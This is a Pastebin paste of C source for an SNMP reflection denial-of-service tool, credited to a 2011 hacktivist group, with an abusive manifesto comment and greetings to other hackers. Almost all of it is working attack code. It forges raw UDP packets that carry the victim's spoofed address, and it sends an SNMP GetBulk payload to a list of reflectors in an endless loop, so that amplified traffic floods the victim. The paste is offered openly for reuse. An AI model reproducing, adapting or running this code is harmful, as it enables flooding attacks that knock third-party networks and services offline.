Advertisement
Guest User

Untitled

a guest
Jul 6th, 2012
277
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. Exploit Title: SNMP Refelector DDOS
  3. Date: 9:2:11
  4. Author: Hex00010
  5. Tested on: Windows - *needs updating for Linux*
  6. Contact: uat666@hotmail.com
  7. */
  8.  
  9.  
  10.  
  11. #include <stdio.h>
  12. #include <netinet/ip.h>
  13. #include <sys/socket.h>
  14. #include <arpa/inet.h>
  15. #include <netinet/udp.h>
  16. #include <string.h>
  17. #include <stdlib.h>
  18. #include <errno.h>
  19. #include <sys/types.h>
  20. #include <asm/types.h>
  21.  
  22. /*
  23. The Government is a Corrupted Organization
  24. We are here to show the world the truth about them
  25. You dont like it - go **** your self
  26. Anarchy For Life Bitch
  27. ===========================================================================​​====
  28. THIS CODE IS MEANT TO STAY PRIVATE - DO NOT SHARE WITH ANYONE - It Is Now Public you Can repost this BUT give Credits
  29. ===========================================================================​​====
  30. by Hex00010 - TeaMp0ison - 2011
  31.  
  32.  
  33. */
  34.  
  35. char payload[] = \"\\x30\\x23\\x02\\x01\\x01\\x04\\x06\\x70\\x75\\x62\\x6c\\x69\\x63\\xa5\\x16\\x02\\x02\\x4e\\x47\"
  36. \"\\x02\\x01\\x00\\x02\\x02\\x08\\xca\\x30\\x09\\x30\\x07\\x06\\x03\\x2b\\x06\\x01\\x05\\x00\";
  37.  
  38. struct iphdr ip_head;
  39. struct udphdr udp_head;
  40. struct sockaddr_in target;
  41.  
  42. struct udp_pseudo /*the udp pseudo header*/
  43. {
  44. unsigned int src_addr;
  45. unsigned int dst_addr;
  46. unsigned char dummy;
  47. unsigned char proto;
  48. unsigned short length;
  49. } pseudohead;
  50.  
  51. struct help_checksum /*struct for checksum calculation*/
  52. {
  53. struct udp_pseudo pshd;
  54. struct udphdr udphd;
  55. } udp_chk_construct;
  56.  
  57. unsigned short in_cksum(unsigned short *addr,int len)
  58. {
  59. register int nleft=len;
  60. register unsigned short *w=addr;
  61. register int sum=0;
  62. unsigned short answer=0;
  63.  
  64. while(nleft>1)
  65. {
  66. sum+=*w++;
  67. nleft-=2;
  68. }
  69. if(nleft==1)
  70. {
  71. *(u_char *)(&answer)=*(u_char *)w;
  72. sum+=answer;
  73. }
  74. sum=(sum >> 16)+(sum & 0xffff);
  75. sum+=(sum >> 16);
  76. answer=~sum;
  77. return(answer);
  78. }
  79.  
  80. void send_udp(int sfd,unsigned int src,unsigned short src_p,
  81. unsigned int dst,unsigned short dst_p,char *buffer,int len)
  82. {
  83. char *packet;
  84. int i;
  85.  
  86. /*Prepare IP header*/
  87. ip_head.ihl = 5; /*headerlength with no options*/
  88. ip_head.version = 4;
  89. ip_head.tos = 22;
  90. ip_head.tot_len = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
  91. ip_head.id = htons(30000 + (rand()%100));
  92. ip_head.frag_off = 0;
  93. ip_head.ttl = 64;
  94. ip_head.protocol = IPPROTO_UDP;
  95. ip_head.check = 0; /*Must be zero for checksum calculation*/
  96. ip_head.saddr = src;
  97. ip_head.daddr = dst;
  98.  
  99. ip_head.check = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));
  100.  
  101. /*Prepare UDP header*/
  102. udp_head.source = htons(src_p);
  103. udp_head.dest = htons(dst_p);
  104. udp_head.len = htons(sizeof(struct udphdr)+sizeof(payload)-1);
  105. udp_head.check = 0;
  106.  
  107. /*Assemble structure for checksum calculation and calculate checksum*/
  108. pseudohead.src_addr=ip_head.saddr;
  109. pseudohead.dst_addr=ip_head.daddr;
  110. pseudohead.dummy=0;
  111. pseudohead.proto=ip_head.protocol;
  112. pseudohead.length=htons(sizeof(struct udphdr)+sizeof(payload)-1);
  113. udp_chk_construct.pshd=pseudohead;
  114. udp_chk_construct.udphd=udp_head;
  115. packet=malloc(sizeof(struct help_checksum)+sizeof(payload)-1);
  116. memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum)); /*pre-assemble packet for*/
  117. memcpy(packet+sizeof(struct help_checksum),buffer,sizeof(payload)-1); /*checksum calculation*/
  118. udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+sizeof(payload)-1);
  119. free(packet);
  120.  
  121. /*Assemble packet*/
  122. packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
  123. memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
  124. memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr));
  125. memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,sizeof(payload)-1);
  126.  
  127. /*Send packet*/
  128. target.sin_family = AF_INET;
  129. target.sin_addr.s_addr= ip_head.daddr;
  130. target.sin_port = udp_head.source;
  131. sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1,0,
  132. (struct sockaddr *)&target,sizeof(struct sockaddr_in));
  133. free(packet);
  134. }
  135.  
  136. int main(int argc, char *argv[]) {
  137. int i=0;
  138. unsigned int srcip, dstip;
  139. char *data;
  140. data=malloc(sizeof(payload)+sizeof(payload)-1);
  141. memcpy(data, payload, sizeof(payload)-1);
  142. char* aline = calloc(16, sizeof(char) );
  143.  
  144. if(argc < 3) {
  145. printf(\"By Hex00010 - TeaMp0ison - 2011\\n\", argv[0]);
  146. exit(1);
  147. }
  148.  
  149. if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) /*open sending socket*/
  150. {
  151. perror(\"socket\");
  152. exit(1);
  153. }
  154.  
  155. for(;;) {
  156. FILE* fp = fopen( argv[2], \"r\" );
  157. /* skip fopen checking because its not really necessary for what we\'re doing*/
  158.  
  159. while ( !feof(fp) )
  160. {
  161. fscanf( fp, \"%s\\n\", aline );
  162. srcip = inet_addr(argv[1]);
  163. dstip = inet_addr(aline);
  164. send_udp(i,srcip,161,dstip,161,payload,sizeof(payload)-1);
  165. memset( aline, 0, 16 );
  166. }
  167. fclose(fp);
  168. }
  169. return 0;
  170. }
  171.  
  172. /*
  173. Greetz: Trick aka SayWhat? , Luit , Ins^ane, joepie91, Sabu , Anonymous,darkgt4
  174. */
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement